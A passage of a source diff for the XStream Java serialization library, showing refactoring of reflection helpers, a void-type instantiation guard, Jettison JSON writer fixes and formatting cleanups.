5655 if (attributeName != null) {
5756 writer.addAttribute(attributeName, mapper.serializedClass(enumTypeForSet));
9291 return set;
9392 }
9493
94 private static class Reflections {
95 private final static Field typeField = Fields.locate(EnumSet.class, Class.class, false);
96 }
9597 }
00 /*
11 * Copyright (C) 2004, 2005 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2008, 2010, 2013, 2018 XStream Committers.
2 * Copyright (C) 2006, 2007, 2008, 2010, 2013, 2018, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
3838
3939 private ClassLoaderReference classLoaderReference;
4040 private Mapper mapper;
41 private static final Field HANDLER = Fields.locate(Proxy.class, InvocationHandler.class, false);
42 private static final InvocationHandler DUMMY = new InvocationHandler() {
43 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
44 return null;
45 }
46 };
4741
4842 /**
4943 * @deprecated As of 1.4.5 use {@link #DynamicProxyConverter(Mapper, ClassLoaderReference)}
120114 Class[] interfacesAsArray = new Class[interfaces.size()];
121115 interfaces.toArray(interfacesAsArray);
122116 Object proxy = null;
123 if (HANDLER != null) { // we will not be able to resolve references to the proxy
124 proxy = Proxy.newProxyInstance(classLoaderReference.getReference(), interfacesAsArray, DUMMY);
117 if (Reflections.HANDLER != null) { // we will not be able to resolve references to the proxy
118 proxy = Proxy.newProxyInstance(classLoaderReference.getReference(), interfacesAsArray, Reflections.DUMMY);
125119 }
126120 handler = (InvocationHandler) context.convertAnother(proxy, handlerType);
127121 reader.moveUp();
128 if (HANDLER != null) {
129 Fields.write(HANDLER, proxy, handler);
122 if (Reflections.HANDLER != null) {
123 Fields.write(Reflections.HANDLER, proxy, handler);
130124 } else {
131125 proxy = Proxy.newProxyInstance(classLoaderReference.getReference(), interfacesAsArray, handler);
132126 }
133127 return proxy;
134128 }
129
130 private static class Reflections {
131
132 private static final Field HANDLER = Fields.locate(Proxy.class, InvocationHandler.class, false);
133 private static final InvocationHandler DUMMY = new InvocationHandler() {
134 public Object invoke(final Object proxy, final Method method, final Object[] args) throws Throwable {
135 return null;
136 }
137 };
138 }
135139 }
00 /*
11 * Copyright (C) 2005 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2016 XStream Committers.
2 * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2016, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
4141 }
4242
4343 /**
44 * Construct a BeanProvider with a comparator to sort the bean properties by name in the
45 * dictionary.
44 * Construct a BeanProvider with a comparator to sort the bean properties by name in the dictionary.
4645 *
4746 * @param propertyNameComparator the comparator
4847 */
6261
6362 public Object newInstance(Class type) {
6463 ErrorWritingException ex = null;
65 try {
66 return type.newInstance();
67 } catch (InstantiationException e) {
68 ex = new ConversionException("Cannot construct type", e);
69 } catch (IllegalAccessException e) {
70 ex = new ObjectAccessException("Cannot construct type", e);
71 } catch (SecurityException e) {
72 ex = new ObjectAccessException("Cannot construct type", e);
73 } catch (ExceptionInInitializerError e) {
74 ex = new ConversionException("Cannot construct type", e);
64 if (type == void.class || type == Void.class) {
65 ex = new ConversionException("Security alert: Marshalling rejected");
66 } else {
67 try {
68 return type.newInstance();
69 } catch (InstantiationException e) {
70 ex = new ConversionException("Cannot construct type", e);
71 } catch (IllegalAccessException e) {
72 ex = new ObjectAccessException("Cannot construct type", e);
73 } catch (SecurityException e) {
74 ex = new ObjectAccessException("Cannot construct type", e);
75 } catch (ExceptionInInitializerError e) {
76 ex = new ConversionException("Cannot construct type", e);
77 }
7578 }
7679 ex.add("construction-type", type.getName());
7780 throw ex;
7982
8083 public void visitSerializableProperties(Object object, JavaBeanProvider.Visitor visitor) {
8184 PropertyDescriptor[] propertyDescriptors = getSerializableProperties(object);
82 for (int i = 0; i < propertyDescriptors.length; i++ ) {
85 for (int i = 0; i < propertyDescriptors.length; i++) {
8386 ErrorWritingException ex = null;
8487 PropertyDescriptor property = propertyDescriptors[i];
8588 try {
135138 */
136139 public boolean canInstantiate(Class type) {
137140 try {
138 return type != null && newInstance(type) != null;
141 return type != null && newInstance(type) != null;
139142 } catch (final ErrorWritingException e) {
140143 return false;
141144 }
148151 * @deprecated As of 1.4.6 use {@link #newInstance(Class)} or {@link #canInstantiate(Class)} directly.
149152 */
150153 protected Constructor getDefaultConstrutor(Class type) {
151
154
152155 Constructor[] constructors = type.getConstructors();
153 for (int i = 0; i < constructors.length; i++ ) {
156 for (int i = 0; i < constructors.length; i++) {
154157 Constructor c = constructors[i];
155158 if (c.getParameterTypes().length == 0 && Modifier.isPublic(c.getModifiers()))
156159 return c;
185188 /**
186189 * @deprecated As of 1.4 use {@link JavaBeanProvider.Visitor}
187190 */
188 public interface Visitor extends JavaBeanProvider.Visitor {
189 }
191 public interface Visitor extends JavaBeanProvider.Visitor {}
190192 }
00 /*
1 * Copyright (C) 2007, 2013, 2016 XStream Committers.
1 * Copyright (C) 2007, 2013, 2016, 2020 XStream Committers.
22 * All rights reserved.
33 *
44 * The software in this package is published under the terms of the BSD
1818 import java.lang.reflect.Method;
1919 import java.lang.reflect.Modifier;
2020 import java.text.AttributedCharacterIterator;
21 import java.util.Collections;
2122 import java.util.HashMap;
2223 import java.util.Iterator;
2324 import java.util.Map;
3334 public class AbstractAttributedCharacterIteratorAttributeConverter extends
3435 AbstractSingleValueConverter {
3536
36 private static final Map instanceMaps = new HashMap();
37 private static final Method getName;
38 static {
39 Method method = null;
40 try {
41 method = AttributedCharacterIterator.Attribute.class.getDeclaredMethod(
42 "getName", (Class[])null);
43 if (!method.isAccessible()) {
44 method.setAccessible(true);
45 }
46 } catch (SecurityException e) {
47 // ignore for now
48 } catch (NoSuchMethodException e) {
49 // ignore for now
50 }
51 getName = method;
52 }
37 private static final Map instanceMaps = Collections.synchronizedMap(new HashMap());
5338
5439 private final Class type;
55 private transient Map attributeMap;
5640
5741 public AbstractAttributedCharacterIteratorAttributeConverter(final Class type) {
5842 super();
6145 + " is not a " + AttributedCharacterIterator.Attribute.class.getName());
6246 }
6347 this.type = type;
64 readResolve();
6548 }
6649
6750 public boolean canConvert(final Class type) {
68 return type == this.type && !attributeMap.isEmpty();
51 return type == this.type && !getAttributeMap().isEmpty();
6952 }
7053
7154 public String toString(final Object source) {
7457
7558 private String getName(AttributedCharacterIterator.Attribute attribute) {
7659 Exception ex = null;
77 if (getName != null) {
60 if (Reflections.getName != null) {
7861 try {
79 return (String)getName.invoke(attribute, (Object[])null);
62 return (String)Reflections.getName.invoke(attribute, (Object[])null);
8063 } catch (IllegalAccessException e) {
8164 ex = e;
8265 } catch (InvocationTargetException e) {
9477 }
9578
9679 public Object fromString(final String str) {
97 if (attributeMap.containsKey(str)) {
98 return attributeMap.get(str);
80 Object attr = getAttributeMap().get(str);
81 if (attr != null) {
82 return attr;
9983 }
10084 ConversionException exception = new ConversionException("Cannot find attribute");
10185 exception.add("attribute-type", type.getName());
10387 throw exception;
10488 }
10589
106 private Object readResolve() {
107 attributeMap = (Map)instanceMaps.get(type.getName());
90 private Map getAttributeMap() {
91 Map attributeMap = (Map)instanceMaps.get(type.getName());
10892 if (attributeMap == null) {
109 attributeMap = new HashMap();
110 Field instanceMap = Fields.locate(type, Map.class, true);
111 if (instanceMap != null) {
112 try {
113 Map map = (Map)Fields.read(instanceMap, null);
114 if (map != null) {
115 boolean valid = true;
116 for (Iterator iter = map.entrySet().iterator(); valid && iter.hasNext(); ) {
117 Map.Entry entry = (Map.Entry)iter.next();
118 valid = entry.getKey().getClass() == String.class && entry.getValue().getClass() == type;
119 }
120 if (valid) {
121 attributeMap.putAll(map);
122 }
123 }
124 } catch (ObjectAccessException e) {
125 }
126 }
127 if (attributeMap.isEmpty()) {
128 try {
129 Field[] fields = type.getDeclaredFields();
130 for(int i = 0; i < fields.length; ++i) {
131 if(fields[i].getType() == type == Modifier.isStatic(fields[i].getModifiers())) {
132 AttributedCharacterIterator.Attribute attribute =
133 (AttributedCharacterIterator.Attribute)Fields.read(fields[i], null);
134 attributeMap.put(toString(attribute), attribute);
135 }
136 }
137 } catch (SecurityException e) {
138 attributeMap.clear();
139 } catch (ObjectAccessException e) {
140 attributeMap.clear();
141 } catch (NoClassDefFoundError e) {
142 attributeMap.clear();
143 }
144 }
93 attributeMap = buildAttributeMap();
14594 instanceMaps.put(type.getName(), attributeMap);
14695 }
147 return this;
96 return attributeMap;
14897 }
14998
99 private Map buildAttributeMap() {
100 final Map attributeMap = new HashMap();
101 final Field instanceMap = Fields.locate(type, Map.class, true);
102 if (instanceMap != null) {
103 try {
104 Map map = (Map)Fields.read(instanceMap, null);
105 if (map != null) {
106 boolean valid = true;
107 for (Iterator iter = map.entrySet().iterator(); valid && iter.hasNext(); ) {
108 Map.Entry entry = (Map.Entry)iter.next();
109 valid = entry.getKey().getClass() == String.class && entry.getValue().getClass() == type;
110 }
111 if (valid) {
112 attributeMap.putAll(map);
113 }
114 }
115 } catch (ObjectAccessException e) {
116 }
117 }
118 if (attributeMap.isEmpty()) {
119 try {
120 Field[] fields = type.getDeclaredFields();
121 for(int i = 0; i < fields.length; ++i) {
122 if(fields[i].getType() == type == Modifier.isStatic(fields[i].getModifiers())) {
123 AttributedCharacterIterator.Attribute attribute =
124 (AttributedCharacterIterator.Attribute)Fields.read(fields[i], null);
125 attributeMap.put(toString(attribute), attribute);
126 }
127 }
128 } catch (SecurityException e) {
129 attributeMap.clear();
130 } catch (ObjectAccessException e) {
131 attributeMap.clear();
132 } catch (NoClassDefFoundError e) {
133 attributeMap.clear();
134 }
135 }
136 return attributeMap;
137 }
138
139 private static class Reflections {
140
141 private static final Method getName;
142 static {
143 Method method = null;
144 try {
145 method = AttributedCharacterIterator.Attribute.class.getDeclaredMethod(
146 "getName", (Class[])null);
147 if (!method.isAccessible()) {
148 method.setAccessible(true);
149 }
150 } catch (SecurityException e) {
151 // ignore for now
152 } catch (NoSuchMethodException e) {
153 // ignore for now
154 }
155 getName = method;
156 }
157 }
150158 }
00 /*
11 * Copyright (C) 2004, 2005, 2006 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2009, 2011, 2013, 2016, 2018 XStream Committers.
2 * Copyright (C) 2006, 2007, 2009, 2011, 2013, 2016, 2018, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
1010 */
1111 package com.thoughtworks.xstream.converters.reflection;
1212
13 import com.thoughtworks.xstream.converters.ConversionException;
14 import com.thoughtworks.xstream.converters.ErrorWritingException;
1315 import com.thoughtworks.xstream.core.JVM;
1416 import com.thoughtworks.xstream.core.util.Fields;
1517
2931 import java.util.Map;
3032 import java.util.WeakHashMap;
3133
34
3235 /**
33 * Pure Java ObjectFactory that instantiates objects using standard Java reflection, however the types of objects
34 * that can be constructed are limited.
36 * Pure Java ObjectFactory that instantiates objects using standard Java reflection, however the types of objects that
37 * can be constructed are limited.
3538 * <p>
36 * Can newInstance: classes with public visibility, outer classes, static inner classes, classes with default constructors
37 * and any class that implements java.io.Serializable.
39 * Can newInstance: classes with public visibility, outer classes, static inner classes, classes with default
40 * constructors and any class that implements java.io.Serializable.
3841 * </p>
3942 * <p>
40 * Cannot newInstance: classes without public visibility, non-static inner classes, classes without default constructors.
41 * Note that any code in the constructor of a class will be executed when the ObjectFactory instantiates the object.
43 * Cannot newInstance: classes without public visibility, non-static inner classes, classes without default
44 * constructors. Note that any code in the constructor of a class will be executed when the ObjectFactory instantiates
45 * the object.
4246 * </p>
47 *
4348 * @author Joe Walnes
4449 */
4550 public class PureJavaReflectionProvider implements ReflectionProvider {
5762 }
5863
5964 public Object newInstance(Class type) {
60 ObjectAccessException oaex = null;
61 try {
62 Constructor[] constructors = type.getDeclaredConstructors();
63 for (int i = 0; i < constructors.length; i++) {
64 final Constructor constructor = constructors[i];
65 if (constructor.getParameterTypes().length == 0) {
66 if (!constructor.isAccessible()) {
67 constructor.setAccessible(true);
65 ErrorWritingException ex = null;
66 if (type == void.class || type == Void.class) {
67 ex = new ConversionException("Security alert: Marshalling rejected");
68 } else {
69 try {
70 Constructor[] constructors = type.getDeclaredConstructors();
71 for (int i = 0; i < constructors.length; i++) {
72 final Constructor constructor = constructors[i];
73 if (constructor.getParameterTypes().length == 0) {
74 if (!constructor.isAccessible()) {
75 constructor.setAccessible(true);
76 }
77 return constructor.newInstance(new Object[0]);
6878 }
69 return constructor.newInstance(new Object[0]);
70 }
71 }
72 if (Serializable.class.isAssignableFrom(type)) {
73 return instantiateUsingSerialization(type);
74 } else {
75 oaex = new ObjectAccessException("Cannot construct type as it does not have a no-args constructor");
76 }
77 } catch (InstantiationException e) {
78 oaex = new ObjectAccessException("Cannot construct type", e);
79 } catch (IllegalAccessException e) {
80 oaex = new ObjectAccessException("Cannot construct type", e);
81 } catch (InvocationTargetException e) {
82 if (e.getTargetException() instanceof RuntimeException) {
83 throw (RuntimeException)e.getTargetException();
84 } else if (e.getTargetException() instanceof Error) {
85 throw (Error)e.getTargetException();
86 } else {
87 oaex = new ObjectAccessException("Constructor for type threw an exception", e.getTargetException());
88 }
89 }
90 oaex.add("construction-type", type.getName());
91 throw oaex;
79 }
80 if (Serializable.class.isAssignableFrom(type)) {
81 return instantiateUsingSerialization(type);
82 } else {
83 ex = new ObjectAccessException("Cannot construct type as it does not have a no-args constructor");
84 }
85 } catch (InstantiationException e) {
86 ex = new ObjectAccessException("Cannot construct type", e);
87 } catch (IllegalAccessException e) {
88 ex = new ObjectAccessException("Cannot construct type", e);
89 } catch (InvocationTargetException e) {
90 if (e.getTargetException() instanceof RuntimeException) {
91 throw (RuntimeException)e.getTargetException();
92 } else if (e.getTargetException() instanceof Error) {
93 throw (Error)e.getTargetException();
94 } else {
95 ex = new ObjectAccessException("Constructor for type threw an exception", e.getTargetException());
96 }
97 }
98 }
99 ex.add("construction-type", type.getName());
100 throw ex;
92101 }
93102
94103 private Object instantiateUsingSerialization(final Class type) {
95104 ObjectAccessException oaex = null;
96105 try {
97106 synchronized (serializedDataCache) {
98 byte[] data = (byte[]) serializedDataCache.get(type);
99 if (data == null) {
107 byte[] data = (byte[])serializedDataCache.get(type);
108 if (data == null) {
100109 ByteArrayOutputStream bytes = new ByteArrayOutputStream();
101110 DataOutputStream stream = new DataOutputStream(bytes);
102111 stream.writeShort(ObjectStreamConstants.STREAM_MAGIC);
105114 stream.writeByte(ObjectStreamConstants.TC_CLASSDESC);
106115 stream.writeUTF(type.getName());
107116 stream.writeLong(ObjectStreamClass.lookup(type).getSerialVersionUID());
108 stream.writeByte(2); // classDescFlags (2 = Serializable)
117 stream.writeByte(2); // classDescFlags (2 = Serializable)
109118 stream.writeShort(0); // field count
110119 stream.writeByte(ObjectStreamConstants.TC_ENDBLOCKDATA);
111120 stream.writeByte(ObjectStreamConstants.TC_NULL);
112121 data = bytes.toByteArray();
113122 serializedDataCache.put(type, data);
114123 }
115
124
116125 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data)) {
117 protected Class resolveClass(ObjectStreamClass desc)
118 throws IOException, ClassNotFoundException {
126 protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
119127 return Class.forName(desc.getName(), false, type.getClassLoader());
120128 }
121129 };
132140
133141 public void visitSerializableFields(Object object, ReflectionProvider.Visitor visitor) {
134142 for (Iterator iterator = fieldDictionary.fieldsFor(object.getClass()); iterator.hasNext();) {
135 Field field = (Field) iterator.next();
143 Field field = (Field)iterator.next();
136144 if (!fieldModifiersSupported(field)) {
137145 continue;
138146 }
173181 }
174182 } else {
175183 throw new ObjectAccessException("Invalid final field "
176 + field.getDeclaringClass().getName() + "." + field.getName());
184 + field.getDeclaringClass().getName()
185 + "."
186 + field.getName());
177187 }
178188 }
179189 }
183193 }
184194
185195 public Field getFieldOrNull(Class definedIn, String fieldName) {
186 return fieldDictionary.fieldOrNull(definedIn, fieldName, null);
196 return fieldDictionary.fieldOrNull(definedIn, fieldName, null);
187197 }
188198
189199 public void setFieldDictionary(FieldDictionary dictionary) {
00 /*
11 * Copyright (C) 2004, 2005 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2008, 2011, 2013, 2014, 2016, 2017 XStream Committers.
2 * Copyright (C) 2006, 2007, 2008, 2011, 2013, 2014, 2016, 2017, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * Created on 08. January 2014 by Joerg Schaible, factored out from SunUnsafeReflectionProvider
7878 }
7979 ErrorWritingException ex = null;
8080 if (type == void.class || type == Void.class) {
81 ex = new ConversionException("Type void cannot have an instance");
81 ex = new ConversionException("Security alert: Marshalling rejected");
8282 } else {
8383 try {
8484 return unsafe.allocateInstance(type);
00 /*
1 * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011 XStream Committers.
1 * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2019 XStream Committers.
22 * All rights reserved.
33 *
44 * The software in this package is published under the terms of the BSD
1212 import com.thoughtworks.xstream.converters.ConversionException;
1313 import com.thoughtworks.xstream.converters.Converter;
1414 import com.thoughtworks.xstream.converters.ConverterLookup;
15 import com.thoughtworks.xstream.converters.MarshallingContext;
1615 import com.thoughtworks.xstream.core.util.ObjectIdDictionary;
1716 import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
1817 import com.thoughtworks.xstream.io.path.Path;
3029 * @author Mauro Talevi
3130 * @since 1.2
3231 */
33 public abstract class AbstractReferenceMarshaller extends TreeMarshaller implements MarshallingContext {
32 public abstract class AbstractReferenceMarshaller extends TreeMarshaller {
3433
3534 private ObjectIdDictionary references = new ObjectIdDictionary();
3635 private ObjectIdDictionary implicitElements = new ObjectIdDictionary();
00 /*
11 * Copyright (C) 2004, 2005, 2006 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2016, 2017 XStream Committers.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2016, 2017, 2019 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
8787 final ConversionException exception = new ConversionException(errors.isEmpty()
8888 ? "No converter specified"
8989 : "No converter available");
90 exception.add("type", type.getName());
90 exception.add("type", type != null ? type.getName() : "null");
9191 iterator = errors.entrySet().iterator();
9292 while (iterator.hasNext()) {
9393 final Map.Entry entry = (Map.Entry)iterator.next();
00 /*
1 * Copyright (C) 2007, 2008, 2010 XStream Committers.
1 * Copyright (C) 2007, 2008, 2010, 2020 XStream Committers.
22 * All rights reserved.
33 *
44 * The software in this package is published under the terms of the BSD
6464
6565 private Map getHeader(final PushbackInputStream[] in) throws IOException {
6666 final Map header = new HashMap();
67 header.put(KEY_ENCODING, "utf-8");
67 header.put(KEY_ENCODING, "UTF-8");
6868 header.put(KEY_VERSION, "1.0");
6969
7070 int state = STATE_BOM;
00 /*
1 * Copyright (c) 2007, 2008, 2009, 2010, 2011, 2013 XStream Committers.
1 * Copyright (c) 2007, 2008, 2009, 2010, 2011, 2013, 2018 XStream Committers.
22 * All rights reserved.
33 *
44 * The software in this package is published under the terms of the BSD
5151 * Construct a JettisonMappedXmlDriver.
5252 */
5353 public JettisonMappedXmlDriver() {
54 this(new Configuration());
54 this(null);
5555 }
5656
5757 /**
7272 * @param useSerializeAsArray flag to use XStream's hints for collections and arrays
7373 * @since 1.4
7474 */
75 public JettisonMappedXmlDriver(final Configuration config, final boolean useSerializeAsArray) {
75 public JettisonMappedXmlDriver(Configuration config, final boolean useSerializeAsArray) {
76 config = config == null ? new Configuration() : config;
7677 mof = new MappedXMLOutputFactory(config);
7778 mif = new MappedXMLInputFactory(config);
7879 convention = new MappedNamespaceConvention(config);
00 /*
1 * Copyright (c) 2008, 2009, 2010, 2011 XStream Committers.
1 * Copyright (c) 2008, 2009, 2010, 2011, 2018 XStream Committers.
22 * All rights reserved.
33 *
44 * The software in this package is published under the terms of the BSD
55 * style license a copy of which has been included with this distribution in
66 * the LICENSE.txt file.
7 *
7 *
88 * Created on 17.04.2008 by Joerg Schaible.
99 */
1010 package com.thoughtworks.xstream.io.json;
1111
12 import java.util.ArrayList;
13 import java.util.Collection;
14 import java.util.List;
15 import java.util.Map;
16
17 import javax.xml.namespace.QName;
18 import javax.xml.stream.XMLStreamException;
19 import javax.xml.stream.XMLStreamWriter;
20
21 import org.codehaus.jettison.AbstractXMLStreamWriter;
22 import org.codehaus.jettison.mapped.MappedNamespaceConvention;
23
24 import com.thoughtworks.xstream.core.JVM;
1225 import com.thoughtworks.xstream.io.naming.NameCoder;
1326 import com.thoughtworks.xstream.io.xml.QNameMap;
1427 import com.thoughtworks.xstream.io.xml.StaxWriter;
1528 import com.thoughtworks.xstream.io.xml.XmlFriendlyReplacer;
1629
17 import org.codehaus.jettison.AbstractXMLStreamWriter;
18 import org.codehaus.jettison.mapped.MappedNamespaceConvention;
19
20 import javax.xml.namespace.QName;
21 import javax.xml.stream.XMLStreamException;
22 import javax.xml.stream.XMLStreamWriter;
23
24 import java.util.Collection;
25 import java.util.Map;
26
2730
2831 /**
2932 * A specialized {@link StaxWriter} that makes usage of internal functionality of Jettison.
30 *
33 *
3134 * @author J&ouml;rg Schaible
3235 * @since 1.3.1
3336 */
3437 public class JettisonStaxWriter extends StaxWriter {
3538
3639 private final MappedNamespaceConvention convention;
40 private final List stack = new ArrayList();
3741
3842 /**
3943 * @since 1.4
4044 */
4145 public JettisonStaxWriter(
42 QNameMap qnameMap, XMLStreamWriter out, boolean writeEnclosingDocument,
43 boolean namespaceRepairingMode, NameCoder nameCoder,
44 MappedNamespaceConvention convention) throws XMLStreamException {
46 final QNameMap qnameMap, final XMLStreamWriter out, final boolean writeEnclosingDocument,
47 final boolean namespaceRepairingMode, final NameCoder nameCoder, final MappedNamespaceConvention convention)
48 throws XMLStreamException {
4549 super(qnameMap, out, writeEnclosingDocument, namespaceRepairingMode, nameCoder);
4650 this.convention = convention;
4751 }
5256 * instead
5357 */
5458 public JettisonStaxWriter(
55 QNameMap qnameMap, XMLStreamWriter out, boolean writeEnclosingDocument,
56 boolean namespaceRepairingMode, XmlFriendlyReplacer replacer,
57 MappedNamespaceConvention convention) throws XMLStreamException {
58 this(qnameMap, out, writeEnclosingDocument, namespaceRepairingMode, (NameCoder) replacer, convention);
59 final QNameMap qnameMap, final XMLStreamWriter out, final boolean writeEnclosingDocument,
60 final boolean namespaceRepairingMode, final XmlFriendlyReplacer replacer,
61 final MappedNamespaceConvention convention)
62 throws XMLStreamException {
63 this(qnameMap, out, writeEnclosingDocument, namespaceRepairingMode, (NameCoder)replacer, convention);
5964 }
6065
6166 public JettisonStaxWriter(
62 QNameMap qnameMap, XMLStreamWriter out, boolean writeEnclosingDocument,
63 boolean namespaceRepairingMode, MappedNamespaceConvention convention)
64 throws XMLStreamException {
67 final QNameMap qnameMap, final XMLStreamWriter out, final boolean writeEnclosingDocument,
68 final boolean namespaceRepairingMode, final MappedNamespaceConvention convention)
69 throws XMLStreamException {
6570 super(qnameMap, out, writeEnclosingDocument, namespaceRepairingMode);
6671 this.convention = convention;
6772 }
6873
6974 public JettisonStaxWriter(
70 QNameMap qnameMap, XMLStreamWriter out, MappedNamespaceConvention convention)
71 throws XMLStreamException {
75 final QNameMap qnameMap, final XMLStreamWriter out, final MappedNamespaceConvention convention)
76 throws XMLStreamException {
7277 super(qnameMap, out);
7378 this.convention = convention;
7479 }
7782 * @since 1.4
7883 */
7984 public JettisonStaxWriter(
80 QNameMap qnameMap, XMLStreamWriter out, NameCoder nameCoder, MappedNamespaceConvention convention)
81 throws XMLStreamException {
85 final QNameMap qnameMap, final XMLStreamWriter out, final NameCoder nameCoder,
86 final MappedNamespaceConvention convention)
87 throws XMLStreamException {
8288 super(qnameMap, out, nameCoder);
8389 this.convention = convention;
8490 }
8591
86 public void startNode(String name, Class clazz) {
87 XMLStreamWriter out = getXMLStreamWriter();
92 public void startNode(final String name, final Class clazz) {
93 final XMLStreamWriter out = getXMLStreamWriter();
94 String key = "";
8895 if (clazz != null && out instanceof AbstractXMLStreamWriter) {
89 if (Collection.class.isAssignableFrom(clazz)
90 || Map.class.isAssignableFrom(clazz)
91 || clazz.isArray()) {
92 QName qname = getQNameMap().getQName(encodeNode(name));
93 String prefix = qname.getPrefix();
94 String uri = qname.getNamespaceURI();
95 String key = convention.createKey(prefix, uri, qname.getLocalPart());
96 if (!((AbstractXMLStreamWriter)out).getSerializedAsArrays().contains(key)) {
97 // Typo is in the API of Jettison ...
98 ((AbstractXMLStreamWriter)out).seriliazeAsArray(key);
96 if (Collection.class.isAssignableFrom(clazz) || Map.class.isAssignableFrom(clazz) || clazz.isArray()) {
97 final QName qname = getQNameMap().getQName(encodeNode(name));
98 final String prefix = qname.getPrefix();
99 final String uri = qname.getNamespaceURI();
100 key = convention.createKey(prefix, uri, qname.getLocalPart());
101
102 if (!JVM.is15()) {
103 final ArrayList serializedAsArrays = ((AbstractXMLStreamWriter)out).getSerializedAsArrays();
104 if (!serializedAsArrays.contains(key)) {
105 serializedAsArrays.add(key);
106 }
107 key = "";
99108 }
100109 }
101110 }
102 startNode(name);
111 stack.add(key);
112 super.startNode(name);
113 }
114
115 public void startNode(final String name) {
116 startNode(name, null);
117 }
118
119 public void endNode() {
120 final String key = (String)stack.remove(stack.size() - 1);
121 if (key.length() == 0) {
122 super.endNode();
123 } else {
124 final XMLStreamWriter out = getXMLStreamWriter();
125 final ArrayList serializedAsArrays = ((AbstractXMLStreamWriter)out).getSerializedAsArrays();
126 serializedAsArrays.add(key);
127 super.endNode();
128 serializedAsArrays.remove(key);
129 }
103130 }
104131 }
6767 } catch (ClassNotFoundException e) {
6868 exception = e;
6969 }
70 throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLInputFaqctory instance.", exception);
70 throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLInputFactory instance.", exception);
7171 }
7272
7373 /**
8484 } catch (ClassNotFoundException e) {
8585 exception = e;
8686 }
87 throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLOutputFaqctory instance.", exception);
87 throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLOutputFactory instance.", exception);
8888 }
8989
9090 }
00 /*
11 * Copyright (C) 2004, 2005, 2006 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2009, 2011 XStream Committers.
2 * Copyright (C) 2006, 2007, 2009, 2011, 2018 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
5454
5555 protected int pullNextEvent() {
5656 try {
57 switch(in.next()) {
58 case XMLStreamConstants.START_DOCUMENT:
59 case XMLStreamConstants.START_ELEMENT:
60 return START_NODE;
61 case XMLStreamConstants.END_DOCUMENT:
62 case XMLStreamConstants.END_ELEMENT:
63 return END_NODE;
64 case XMLStreamConstants.CHARACTERS:
65 return TEXT;
66 case XMLStreamConstants.COMMENT:
67 return COMMENT;
68 default:
69 return OTHER;
57 switch (in.next()) {
58 case XMLStreamConstants.START_DOCUMENT:
59 case XMLStreamConstants.START_ELEMENT:
60 return START_NODE;
61 case XMLStreamConstants.END_DOCUMENT:
62 case XMLStreamConstants.END_ELEMENT:
63 return END_NODE;
64 case XMLStreamConstants.CDATA:
65 case XMLStreamConstants.CHARACTERS:
66 return TEXT;
67 case XMLStreamConstants.COMMENT:
68 return COMMENT;
69 default:
70 return OTHER;
7071 }
7172 } catch (XMLStreamException e) {
7273 throw new StreamException(e);
111112 }
112113 }
113114
114 }
115 }
00 /*
11 * Copyright (C) 2006 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013 XStream Committers.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2019 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
1313 import com.thoughtworks.xstream.converters.reflection.ObjectAccessException;
1414 import com.thoughtworks.xstream.io.naming.NameCoder;
1515
16 import java.util.ArrayList;
16 import java.util.BitSet;
1717 import java.util.HashMap;
1818 import java.util.Map;
1919
3333 * <li>other characters that are invalid in XML names are encoded with <b>_.XXXX</b> (underscore
3434 * dot followed by hex representation of character).</li>
3535 * </ul>
36 *
36 * <p>
37 * The valid characters are defined by the intersection of the XML 1.0 specification (4th edition) and later
38 * specifications till XML 1.1 specification.
39 * </p>
40 *
3741 * @author J&ouml;rg Schaible
3842 * @author Mauro Talevi
3943 * @author Tatu Saloranta
4044 * @author Michael Schnell
41 * @see <a href="http://www.w3.org/TR/REC-xml/#dt-name">XML 1.0 name definition</a>
42 * @see <a href="http://www.w3.org/TR/xml11/#dt-name">XML 1.1 name definition</a>
43 * @see <a href="http://java.sun.com/docs/books/jls/third_edition/html/lexical.html#3.8">Java
44 * identifier definition</a>
45 * @see <a href="https://www.w3.org/TR/REC-xml/#dt-name">XML 1.0 name definition (5th edition)</a>
46 * @see <a href="https://www.w3.org/TR/2006/REC-xml-20060816/#NT-Letter">XML 1.0 name definition (4th edition)</a>
47 * @see <a href="https://www.w3.org/TR/xml11/#dt-name">XML 1.1 name definition</a>
48 * @see <a href="https://docs.oracle.com/javase/specs/jls/se8/html/jls-3.html#jls-3.8">Java identifier definition</a>
4549 * @since 1.4
4650 */
4751 public class XmlFriendlyNameCoder implements NameCoder, Cloneable {
48 private static final IntPair[] XML_NAME_START_CHAR_BOUNDS;
49 private static final IntPair[] XML_NAME_CHAR_EXTRA_BOUNDS;
52 private static final BitSet XML_NAME_START_CHARS;
53 private static final BitSet XML_NAME_CHARS;
5054 static {
51 class IntPairList extends ArrayList {
52 void add(int min, int max) {
53 super.add(new IntPair(min, max));
54 }
55
56 void add(char cp) {
57 super.add(new IntPair(cp, cp));
58 }
59 }
60
61 // legal characters in XML names according to
62 // http://www.w3.org/TR/REC-xml/#NT-Name and
